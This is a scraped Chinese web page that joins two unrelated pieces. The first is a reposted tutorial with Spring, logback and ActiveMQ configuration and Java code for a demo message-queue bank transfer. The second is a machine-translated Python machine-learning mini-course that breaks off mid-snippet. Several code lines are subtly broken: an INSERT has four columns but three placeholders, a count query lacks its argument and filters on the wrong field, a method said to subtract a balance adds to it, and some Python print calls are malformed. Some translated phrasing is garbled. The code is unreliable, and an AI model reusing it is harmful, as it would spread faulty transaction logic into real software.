xmlns:p="http://www.springframework.org/schema/p"xmlns:context="http://www.springframework.org/schema/context"xmlns:task="http://www.springframework.org/schema/task" xmlns:aop="http://www.springframework.org/schema/aop"xmlns:tx="http://www.springframework.org/schema/tx"xmlns:util="http://www.springframework.org/schema/util" xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/utilhttp://www.springframework.org/schema/util/spring-util-3.2.xsdhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsdhttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.2.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-3.2.xsdhttp://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsdhttp://www.springframework.org/schema/txhttp://www.springframework.org/schema/tx/spring-tx-3.0.xsdhttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd"><!-- 引入同文件夹下的redis属性配置文件 --><!-- 解决springMVC响应数据乱码 text/plain就是响应的时候原样返回数据--><import resource="../activemq/activemq.xml"/><!--<context:property-placeholder ignore-unresolvable="true" location="classpath:config/core/core.properties,classpath:config/redis/redis-config.properties" />--><bean id="propertyConfigurerForProject1" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"><property name="order" value="1" /><property name="ignoreUnresolvablePlaceholders" value="true" /><property name="location"><value>classpath:config/core/core.properties</value></property></bean><mvc:annotation-driven><mvc:message-converters register-defaults="true"><bean class="org.springframework.http.converter.StringHttpMessageConverter"><property name="supportedMediaTypes" value = "text/plain;charset=UTF-8" /></bean></mvc:message-converters></mvc:annotation-driven><!-- 避免IE执行AJAX时,返回JSON出现下载文件 --><bean id="mappingJacksonHttpMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter"><property name="supportedMediaTypes"><list><value>text/html;charset=UTF-8</value></list></property></bean><!-- 开启controller注解支持 --><!-- 注:如果base-package=com.avicit 则注解事务不起作用 TODO 读源码 --><context:component-scan base-package="com.zhuguang"></context:component-scan><mvc:view-controller path="/" view-name="redirect:/index" /><beanclass="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" /><bean id="handlerAdapter"class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter"></bean><beanclass="org.springframework.web.servlet.view.ContentNegotiatingViewResolver"><property name="mediaTypes"><map><entry key="json" value="application/json" /><entry key="xml" value="application/xml" /><entry key="html" value="text/html" /></map></property><property name="viewResolvers"><list><bean class="org.springframework.web.servlet.view.BeanNameViewResolver" /><bean class="org.springframework.web.servlet.view.UrlBasedViewResolver"><property name="viewClass" value="org.springframework.web.servlet.view.JstlView" /><property name="prefix" value="/" /><property name="suffix" value=".jsp" /></bean></list></property></bean><!-- 支持上传文件 --> <!-- 控制器异常处理 --><bean id="exceptionResolver"class="org.springframework.web.servlet.handler.SimpleMappingExceptionResolver"><property name="exceptionMappings"><props><prop key="java.lang.Exception">error</prop></props></property></bean><bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" destroy-method="close"><property name="driverClass"><value>${jdbc.driverClassName}</value></property><property name="jdbcUrl"><value>${jdbc.url}</value></property><property name="user"><value>${jdbc.username}</value></property><property name="password"><value>${jdbc.password}</value></property><property name="minPoolSize" value="10" /><property name="maxPoolSize" value="100" /><property name="maxIdleTime" value="1800" /><property name="acquireIncrement" value="3" /><property name="maxStatements" value="1000" /><property name="initialPoolSize" value="10" /><property name="idleConnectionTestPeriod" value="60" /><property name="acquireRetryAttempts" value="30" /><property name="breakAfterAcquireFailure" value="false" /><property name="testConnectionOnCheckout" value="false" /><property name="acquireRetryDelay"><value>100</value></property></bean><bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate"><property name="dataSource" ref="dataSource"></property></bean><bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"><property name="dataSource" ref="dataSource"/></bean><tx:annotation-driven transaction-manager="transactionManager" proxy-target-class="true" /><aop:aspectj-autoproxy expose-proxy="true"/></beans> logback.xml <?xml version="1.0" encoding="UTF-8"?><!--scan:当此属性设置为true时,配置文件如果发生改变,将会被重新加载,默认值为true。scanPeriod:设置监测配置文件是否有修改的时间间隔,如果没有给出时间单位,默认单位是毫秒当scan为true时,此属性生效。默认的时间间隔为1分钟。debug:当此属性设置为true时,将打印出logback内部日志信息,实时查看logback运行状态。默认值为false。--><configuration scan="false" scanPeriod="60 seconds" debug="false"><!-- 定义日志的根目录 --><!-- <property name="LOG_HOME" value="/app/log" /> --><!-- 定义日志文件名称 --><property name="appName" value="netty"></property><!-- ch.qos.logback.core.ConsoleAppender 表示控制台输出 --><appender name="stdout" class="ch.qos.logback.core.ConsoleAppender"><Encoding>UTF-8</Encoding><!--日志输出格式:%d表示日期时间,%thread表示线程名,%-5level:级别从左显示5个字符宽度%logger{50} 表示logger名字最长50个字符,否则按照句点分割。 %msg:日志消息,%n是换行符--><encoder><pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern></encoder></appender><!-- 滚动记录文件,先将日志记录到指定文件,当符合某个条件时,将日志记录到其他文件 --> <appender name="appLogAppender" class="ch.qos.logback.core.rolling.RollingFileAppender"><Encoding>UTF-8</Encoding><!-- 指定日志文件的名称 --> <file>${appName}.log</file><!--当发生滚动时,决定 RollingFileAppender 的行为,涉及文件移动和重命名TimeBasedRollingPolicy: 最常用的滚动策略,它根据时间来制定滚动策略,既负责滚动也负责出发滚动。--><rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"><!--滚动时产生的文件的存放位置及文件名称 %d{yyyy-MM-dd}:按天进行日志滚动 %i:当文件大小超过maxFileSize时,按照i进行文件滚动--><fileNamePattern>${appName}-%d{yyyy-MM-dd}-%i.log</fileNamePattern><!-- 可选节点,控制保留的归档文件的最大数量,超出数量就删除旧文件。假设设置每天滚动,且maxHistory是365,则只保存最近365天的文件,删除之前的旧文件。注意,删除旧文件是,那些为了归档而创建的目录也会被删除。--><MaxHistory>365</MaxHistory><!-- 当日志文件超过maxFileSize指定的大小是,根据上面提到的%i进行日志文件滚动 注意此处配置SizeBasedTriggeringPolicy是无法实现按文件大小进行滚动的,必须配置timeBasedFileNamingAndTriggeringPolicy--><timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP"><maxFileSize>100MB</maxFileSize></timeBasedFileNamingAndTriggeringPolicy></rollingPolicy><!--日志输出格式:%d表示日期时间,%thread表示线程名,%-5level:级别从左显示5个字符宽度 %logger{50} 表示logger名字最长50个字符,否则按照句点分割。 %msg:日志消息,%n是换行符--> <encoder><pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [ %thread ] - [ %-5level ] [ %logger{50} : %line ] - %msg%n</pattern></encoder></appender><!-- logger主要用于存放日志对象,也可以定义日志类型、级别name:表示匹配的logger类型前缀,也就是包的前半部分level:要记录的日志级别,包括 TRACE < DEBUG < INFO < WARN < ERRORadditivity:作用在于children-logger是否使用 rootLogger配置的appender进行输出,false:表示只用当前logger的appender-ref,true:表示当前logger的appender-ref和rootLogger的appender-ref都有效--><!-- <logger name="edu.hyh" level="info" additivity="true"><appender-ref ref="appLogAppender" /></logger> --><!-- root与logger是父子关系,没有特别定义则默认为root,任何一个类只会和一个logger对应,要么是定义的logger,要么是root,判断的关键在于找到这个logger,然后判断这个logger的appender和level。 --><root level="debug"><appender-ref ref="stdout" /><appender-ref ref="appLogAppender" /></root></configuration> 2、余额宝代码 package com.zhuguang.jack.controller;import com.alibaba.fastjson.JSONObject;import com.zhuguang.jack.service.OrderService;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller@RequestMapping("/order")public class OrderController {/ @Description TODO @param @return 参数 @return String 返回类型 @throws 模拟银行转账 userID:转账的用户ID amount:转多少钱/@AutowiredOrderService orderService;@RequestMapping("/transfer")public @ResponseBody String transferAmount(String userId, String amount) {try {orderService.updateAmount(Integer.valueOf(amount), userId);}catch (Exception e) {e.printStackTrace();return "===============================transferAmount failed===================";}return "===============================transferAmount successfull===================";} } 消息监听器 package com.zhuguang.jack.listener;import com.alibaba.fastjson.JSONObject;import com.zhuguang.jack.service.OrderService;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;import org.springframework.web.client.RestTemplate;import javax.jms.JMSException;import javax.jms.Message;import javax.jms.MessageListener;import javax.jms.ObjectMessage;@Service("queueMessageListener")public class QueueMessageListener implements MessageListener {private Logger logger = LoggerFactory.getLogger(getClass());@AutowiredOrderService orderService;@Transactional(rollbackFor = Exception.class)@Overridepublic void onMessage(Message message) {if (message instanceof ObjectMessage) {ObjectMessage objectMessage = (ObjectMessage) message;try {com.zhuguang.jack.bean.Message message1 = (com.zhuguang.jack.bean.Message) objectMessage.getObject();String userId = message1.getUserId();int count = orderService.queryMessageCountByUserId(userId);if (count == 0) {orderService.updateAmount(message1.getAmount(), message1.getUserId());orderService.insertMessage(message1.getUserId(), message1.getMessageId(), message1.getAmount(), "ok");} else {logger.info("异常转账");}RestTemplate restTemplate = createRestTemplate();JSONObject jo = new JSONObject();jo.put("messageId", message1.getMessageId());jo.put("respCode", "OK");String url = "http://jack.bank_a.com:8080/alipay/order/callback?param="+ jo.toJSONString();restTemplate.getForObject(url,null);} catch (JMSException e) {e.printStackTrace();throw new RuntimeException("异常");} }}public RestTemplate createRestTemplate() {SimpleClientHttpRequestFactory simpleClientHttpRequestFactory = new SimpleClientHttpRequestFactory();simpleClientHttpRequestFactory.setConnectTimeout(3000);simpleClientHttpRequestFactory.setReadTimeout(2000);return new RestTemplate(simpleClientHttpRequestFactory);} } package com.zhuguang.jack.service;public interface OrderService {public void updateAmount(int amount, String userId);public int queryMessageCountByUserId(String userId);public int insertMessage(String userId,String messageId,int amount,String status);} package com.zhuguang.jack.service;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.jdbc.core.JdbcTemplate;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;import org.springframework.web.client.RestTemplate;@Service@Transactional(rollbackFor = Exception.class)public class OrderServiceImpl implements OrderService {private Logger logger = LoggerFactory.getLogger(getClass());@AutowiredJdbcTemplate jdbcTemplate;/ 更新数据库表,把账户余额减去amountd/@Overridepublic void updateAmount(int amount, String userId) {//1、农业银行转账3000,也就说农业银行jack账户要减3000String sql = "update account set amount = amount + ?,update_time=now() where user_id = ?";int count = jdbcTemplate.update(sql, new Object[] {amount, userId});if (count != 1) {throw new RuntimeException("订单创建失败,农业银行转账失败!");} }public RestTemplate createRestTemplate() {SimpleClientHttpRequestFactory simpleClientHttpRequestFactory = new SimpleClientHttpRequestFactory();simpleClientHttpRequestFactory.setConnectTimeout(3000);simpleClientHttpRequestFactory.setReadTimeout(2000);return new RestTemplate(simpleClientHttpRequestFactory);}@Overridepublic int queryMessageCountByUserId(String messageId) {String sql = "select count() from message where message_id = ?";int count = jdbcTemplate.queryForInt(sql, new Object[]{messageId});return count;}@Overridepublic int insertMessage(String userId, String message_id,int amount, String status) {String sql = "insert into message(user_id,message_id,amount,status) values(?,?,?)";int count = jdbcTemplate.update(sql, new Object[]{userId, message_id,amount, status});if(count == 1) {logger.info("Ok");}return count;} } activemq.xml <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:amq="http://activemq.apache.org/schema/core"xmlns:jms="http://www.springframework.org/schema/jms"xmlns:context="http://www.springframework.org/schema/context"xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans-4.1.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.1.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-4.1.xsdhttp://www.springframework.org/schema/jmshttp://www.springframework.org/schema/jms/spring-jms-4.1.xsdhttp://activemq.apache.org/schema/corehttp://activemq.apache.org/schema/core/activemq-core-5.12.1.xsd"><context:component-scan base-package="com.zhuguang.jack" /><mvc:annotation-driven /><amq:connectionFactory id="amqConnectionFactory"brokerURL="tcp://192.168.88.131:61616"userName="system"password="manager" /><!-- 配置JMS连接工长 --><bean id="connectionFactory"class="org.springframework.jms.connection.CachingConnectionFactory"><constructor-arg ref="amqConnectionFactory" /><property name="sessionCacheSize" value="100" /></bean><!-- 定义消息队列(Queue) --><bean id="demoQueueDestination" class="org.apache.activemq.command.ActiveMQQueue"><!-- 设置消息队列的名字 --><constructor-arg><value>zg.jack.queue</value></constructor-arg></bean><!-- 显示注入消息监听容器(Queue),配置连接工厂,监听的目标是demoQueueDestination,监听器是上面定义的监听器 --><bean id="queueListenerContainer"class="org.springframework.jms.listener.DefaultMessageListenerContainer"><property name="connectionFactory" ref="connectionFactory" /><property name="destination" ref="demoQueueDestination" /><property name="messageListener" ref="queueMessageListener" /></bean><!-- 配置JMS模板(Queue),Spring提供的JMS工具类,它发送、接收消息。 --><bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate"><property name="connectionFactory" ref="connectionFactory" /><property name="defaultDestination" ref="demoQueueDestination" /><property name="receiveTimeout" value="10000" /><!-- true是topic,false是queue,默认是false,此处显示写出false --><property name="pubSubDomain" value="false" /></bean></beans> OK~~~~~~~~~~~~大功告成!!!, 如果大家觉得满意并且对技术感兴趣请加群:171239762, 纯技术交流群,非诚勿扰。 本篇文章为转载内容。原文链接:https://blog.csdn.net/luoyang_java/article/details/84953241。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-16 22:34:52
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...arn最新版本的警告消息。 Dave Young的 Python机器学习迷你课程 照片,保留一些权利。 迷你课程面向谁? 在开始之前,请确保您在正确的位置。 下面的列表提供了有关本课程针对谁的一些一般指导。 如果您没有完全匹配这些点,请不要惊慌,您可能只需要在一个或另一个区域刷牙以跟上。 知道如何编写一些代码的开发人员。这意味着,一旦您了解基本语法,就可以选择像Python这样的新编程语言,这对您来说并不重要。这并不意味着您是一名向导编码员,而是可以毫不费力地遵循基本的类似于C的语言。 懂一点机器学习的开发人员。这意味着您了解机器学习的基础知识,例如交叉验证,一些算法和偏差方差折衷。这并不意味着您是机器学习博士,而是您知道地标或知道在哪里查找。 这门迷你课程既不是Python的教科书,也不是机器学习的教科书。 从一个懂一点机器学习的开发人员到一个可以使用Python生态系统获得结果的开发人员,Python生态系统是专业机器学习的新兴平台。 在Python机器学习方面需要帮助吗? 参加我为期2周的免费电子邮件课程,发现数据准备,算法等(包括代码)。 单击立即注册,并获得该课程的免费PDF电子书版本。 立即开始免费的迷你课程! 迷你课程概述 该微型课程分为14节课。 您可以每天完成一堂课(推荐),也可以在一天内完成所有课程(核心!)。这实际上取决于您有空的时间和您的热情水平。 以下是14个课程,可帮助您入门并提高使用Python进行机器学习的效率: 第1课:下载并安装Python和SciPy生态系统。 第2课:深入了解Python,NumPy,Matplotlib和Pandas。 第3课:从CSV加载数据。 第4课:了解具有描述性统计信息的数据。 第5课:通过可视化了解数据。 第6课:通过预处理数据准备建模。 第7课:使用重采样方法进行算法评估。 第8课:算法评估指标。 第9课:现场检查算法。 第10课:模型比较和选择。 第11课:通过算法调整提高准确性。 第12课:利用集合预测提高准确性。 第13课:完成并保存模型。 第14课:Hello World端到端项目。 每节课可能需要您60秒钟或最多30分钟。花点时间按照自己的进度完成课程。提出问题,甚至在以下评论中发布结果。 这些课程希望您能开始学习并做事。我会给您提示,但每节课的重点是迫使您学习从哪里寻求有关Python平台的帮助(提示,我直接在此博客上获得了所有答案,请使用搜索特征)。 在早期课程中,我确实提供了更多帮助,因为我希望您树立一些信心和惯性。 挂在那里,不要放弃! 第1课:下载并安装Python和SciPy 您必须先访问平台才能开始使用Python进行机器学习。 今天的课程很简单,您必须在计算机上下载并安装Python 3.6平台。 访问Python主页并下载适用于您的操作系统(Linux,OS X或Windows)的Python。在计算机上安装Python。您可能需要使用特定于平台的软件包管理器,例如OS X上的macports或RedHat Linux上的yum。 您还需要安装SciPy平台和scikit-learn库。我建议使用与安装Python相同的方法。 您可以使用Anaconda一次安装所有内容(更加容易)。推荐给初学者。 通过在命令行中键入“ python”来首次启动Python。 使用以下代码检查所有您需要的版本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Python version import sys print('Python: {}'.format(sys.version)) scipy import scipy print('scipy: {}'.format(scipy.__version__)) numpy import numpy print('numpy: {}'.format(numpy.__version__)) matplotlib import matplotlib print('matplotlib: {}'.format(matplotlib.__version__)) pandas import pandas print('pandas: {}'.format(pandas.__version__)) scikit-learn import sklearn print('sklearn: {}'.format(sklearn.__version__)) 如果有任何错误,请停止。现在该修复它们了。 需要帮忙?请参阅本教程: 如何使用Anaconda设置用于机器学习和深度学习的Python环境 第2课:深入了解Python,NumPy,Matplotlib和Pandas。 您需要能够读写基本的Python脚本。 作为开发人员,您可以很快选择新的编程语言。Python区分大小写,使用哈希(#)进行注释,并使用空格指示代码块(空格很重要)。 今天的任务是在Python交互环境中练习Python编程语言的基本语法和重要的SciPy数据结构。 练习作业,在Python中使用列表和流程控制。 练习使用NumPy数组。 练习在Matplotlib中创建简单图。 练习使用Pandas Series和DataFrames。 例如,以下是创建Pandas DataFrame的简单示例。 1 2 3 4 5 6 7 8 dataframe import numpy import pandas myarray = numpy.array([[1, 2, 3], [4, 5, 6]]) rownames = ['a', 'b'] colnames = ['one', 'two', 'three'] mydataframe = pandas.DataFrame(myarray, index=rownames, columns=colnames) print(mydataframe) 第3课:从CSV加载数据 机器学习算法需要数据。您可以从CSV文件加载自己的数据,但是当您开始使用Python进行机器学习时,应该在标准机器学习数据集上进行练习。 今天课程的任务是让您轻松地将数据加载到Python中并查找和加载标准的机器学习数据集。 您可以在UCI机器学习存储库上下载和练习许多CSV格式的出色标准机器学习数据集。 练习使用标准库中的CSV.reader()将CSV文件加载到Python 中。 练习使用NumPy和numpy.loadtxt()函数加载CSV文件。 练习使用Pandas和pandas.read_csv()函数加载CSV文件。 为了让您入门,下面是一个片段,该片段将直接从UCI机器学习存储库中使用Pandas来加载Pima Indians糖尿病数据集。 1 2 3 4 5 6 Load CSV using Pandas from URL import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) print(data.shape) 到现在为止做得很好!等一下 到目前为止有什么问题吗?在评论中提问。 第4课:使用描述性统计数据理解数据 将数据加载到Python之后,您需要能够理解它。 您越了解数据,可以构建的模型就越精确。了解数据的第一步是使用描述性统计数据。 今天,您的课程是学习如何使用描述性统计信息来理解您的数据。我建议使用Pandas DataFrame上提供的帮助程序功能。 使用head()函数了解您的数据以查看前几行。 使用shape属性查看数据的维度。 使用dtypes属性查看每个属性的数据类型。 使用describe()函数查看数据的分布。 使用corr()函数计算变量之间的成对相关性。 以下示例加载了皮马印第安人糖尿病发病数据集,并总结了每个属性的分布。 1 2 3 4 5 6 7 Statistical Summary import pandas url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) description = data.describe() print(description) 试试看! 第5课:通过可视化了解数据 从昨天的课程继续,您必须花一些时间更好地了解您的数据。 增进对数据理解的第二种方法是使用数据可视化技术(例如,绘图)。 今天,您的课程是学习如何在Python中使用绘图来单独理解属性及其相互作用。再次,我建议使用Pandas DataFrame上提供的帮助程序功能。 使用hist()函数创建每个属性的直方图。 使用plot(kind ='box')函数创建每个属性的箱须图。 使用pandas.scatter_matrix()函数创建所有属性的成对散点图。 例如,下面的代码片段将加载糖尿病数据集并创建数据集的散点图矩阵。 1 2 3 4 5 6 7 8 9 Scatter Plot Matrix import matplotlib.pyplot as plt import pandas from pandas.plotting import scatter_matrix url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] data = pandas.read_csv(url, names=names) scatter_matrix(data) plt.show() 样本散点图矩阵 第6课:通过预处理数据准备建模 您的原始数据可能未设置为最佳建模形式。 有时您需要对数据进行预处理,以便最好地将问题的固有结构呈现给建模算法。在今天的课程中,您将使用scikit-learn提供的预处理功能。 scikit-learn库提供了两个用于转换数据的标准习语。每种变换在不同的情况下都非常有用:拟合和多重变换以及组合的拟合与变换。 您可以使用多种技术来准备数据以进行建模。例如,尝试以下一些方法 使用比例和中心选项将数值数据标准化(例如,平均值为0,标准偏差为1)。 使用范围选项将数值数据标准化(例如,范围为0-1)。 探索更高级的功能工程,例如Binarizing。 例如,下面的代码段加载了Pima Indians糖尿病发病数据集,计算了标准化数据所需的参数,然后创建了输入数据的标准化副本。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Standardize data (0 mean, 1 stdev) from sklearn.preprocessing import StandardScaler import pandas import numpy url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = pandas.read_csv(url, names=names) array = dataframe.values separate array into input and output components X = array[:,0:8] Y = array[:,8] scaler = StandardScaler().fit(X) rescaledX = scaler.transform(X) summarize transformed data numpy.set_printoptions(precision=3) print(rescaledX[0:5,:]) 第7课:使用重采样方法进行算法评估 用于训练机器学习算法的数据集称为训练数据集。用于训练算法的数据集不能用于为您提供有关新数据的模型准确性的可靠估计。这是一个大问题,因为创建模型的整个思路是对新数据进行预测。 您可以使用称为重采样方法的统计方法将训练数据集划分为子集,一些方法用于训练模型,而另一些则被保留,并用于估计看不见的数据的模型准确性。 今天课程的目标是练习使用scikit-learn中可用的不同重采样方法,例如: 将数据集分为训练集和测试集。 使用k倍交叉验证来估计算法的准确性。 使用留一法交叉验证来估计算法的准确性。 下面的代码段使用scikit-learn通过10倍交叉验证来评估Pima Indians糖尿病发作的Logistic回归算法的准确性。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Evaluate using Cross Validation from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') results = cross_val_score(model, X, Y, cv=kfold) print("Accuracy: %.3f%% (%.3f%%)") % (results.mean()100.0, results.std()100.0) 您获得了什么精度?在评论中让我知道。 您是否意识到这是中间点?做得好! 第8课:算法评估指标 您可以使用许多不同的指标来评估数据集上机器学习算法的技能。 您可以通过cross_validation.cross_val_score()函数在scikit-learn中指定用于测试工具的度量,默认值可用于回归和分类问题。今天课程的目标是练习使用scikit-learn软件包中可用的不同算法性能指标。 在分类问题上练习使用“准确性”和“ LogLoss”度量。 练习生成混淆矩阵和分类报告。 在回归问题上练习使用RMSE和RSquared指标。 下面的代码段演示了根据Pima Indians糖尿病发病数据计算LogLoss指标。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Cross Validation Classification LogLoss from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] kfold = KFold(n_splits=10, random_state=7) model = LogisticRegression(solver='liblinear') scoring = 'neg_log_loss' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print("Logloss: %.3f (%.3f)") % (results.mean(), results.std()) 您得到了什么日志损失?在评论中让我知道。 第9课:抽查算法 您可能无法事先知道哪种算法对您的数据效果最好。 您必须使用反复试验的过程来发现它。我称之为现场检查算法。scikit-learn库提供了许多机器学习算法和工具的接口,以比较这些算法的估计准确性。 在本课程中,您必须练习抽查不同的机器学习算法。 对数据集进行抽查线性算法(例如线性回归,逻辑回归和线性判别分析)。 抽查数据集上的一些非线性算法(例如KNN,SVM和CART)。 抽查数据集上一些复杂的集成算法(例如随机森林和随机梯度增强)。 例如,下面的代码片段对Boston House Price数据集上的K最近邻居算法进行了抽查。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 KNN Regression from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.neighbors import KNeighborsRegressor url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/housing.data" names = ['CRIM', 'ZN', 'INDUS', 'CHAS', 'NOX', 'RM', 'AGE', 'DIS', 'RAD', 'TAX', 'PTRATIO', 'B', 'LSTAT', 'MEDV'] dataframe = read_csv(url, delim_whitespace=True, names=names) array = dataframe.values X = array[:,0:13] Y = array[:,13] kfold = KFold(n_splits=10, random_state=7) model = KNeighborsRegressor() scoring = 'neg_mean_squared_error' results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) print(results.mean()) 您得到的平方误差是什么意思?在评论中让我知道。 第10课:模型比较和选择 既然您知道了如何在数据集中检查机器学习算法,那么您需要知道如何比较不同算法的估计性能并选择最佳模型。 在今天的课程中,您将练习比较Python和scikit-learn中的机器学习算法的准确性。 在数据集上相互比较线性算法。 在数据集上相互比较非线性算法。 相互比较同一算法的不同配置。 创建比较算法的结果图。 下面的示例在皮马印第安人发病的糖尿病数据集中将Logistic回归和线性判别分析进行了比较。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Compare Algorithms from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.linear_model import LogisticRegression from sklearn.discriminant_analysis import LinearDiscriminantAnalysis load dataset url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] prepare models models = [] models.append(('LR', LogisticRegression(solver='liblinear'))) models.append(('LDA', LinearDiscriminantAnalysis())) evaluate each model in turn results = [] names = [] scoring = 'accuracy' for name, model in models: kfold = KFold(n_splits=10, random_state=7) cv_results = cross_val_score(model, X, Y, cv=kfold, scoring=scoring) results.append(cv_results) names.append(name) msg = "%s: %f (%f)" % (name, cv_results.mean(), cv_results.std()) print(msg) 哪种算法效果更好?你能做得更好吗?在评论中让我知道。 第11课:通过算法调整提高准确性 一旦找到一种或两种在数据集上表现良好的算法,您可能希望提高这些模型的性能。 提高算法性能的一种方法是将其参数调整为特定的数据集。 scikit-learn库提供了两种方法来搜索机器学习算法的参数组合。在今天的课程中,您的目标是练习每个。 使用您指定的网格搜索来调整算法的参数。 使用随机搜索调整算法的参数。 下面使用的代码段是一个示例,该示例使用网格搜索在Pima Indians糖尿病发病数据集上的Ridge回归算法。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Grid Search for Algorithm Tuning from pandas import read_csv import numpy from sklearn.linear_model import Ridge from sklearn.model_selection import GridSearchCV url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] alphas = numpy.array([1,0.1,0.01,0.001,0.0001,0]) param_grid = dict(alpha=alphas) model = Ridge() grid = GridSearchCV(estimator=model, param_grid=param_grid, cv=3) grid.fit(X, Y) print(grid.best_score_) print(grid.best_estimator_.alpha) 哪些参数取得最佳效果?你能做得更好吗?在评论中让我知道。 第12课:利用集合预测提高准确性 您可以提高模型性能的另一种方法是组合来自多个模型的预测。 一些模型提供了内置的此功能,例如用于装袋的随机森林和用于增强的随机梯度增强。可以使用另一种称为投票的合奏将来自多个不同模型的预测组合在一起。 在今天的课程中,您将练习使用合奏方法。 使用随机森林和多余树木算法练习装袋。 使用梯度增强机和AdaBoost算法练习增强合奏。 通过将来自多个模型的预测组合在一起来练习投票合奏。 下面的代码段演示了如何在Pima Indians糖尿病发病数据集上使用随机森林算法(袋装决策树集合)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Random Forest Classification from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.ensemble import RandomForestClassifier url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = 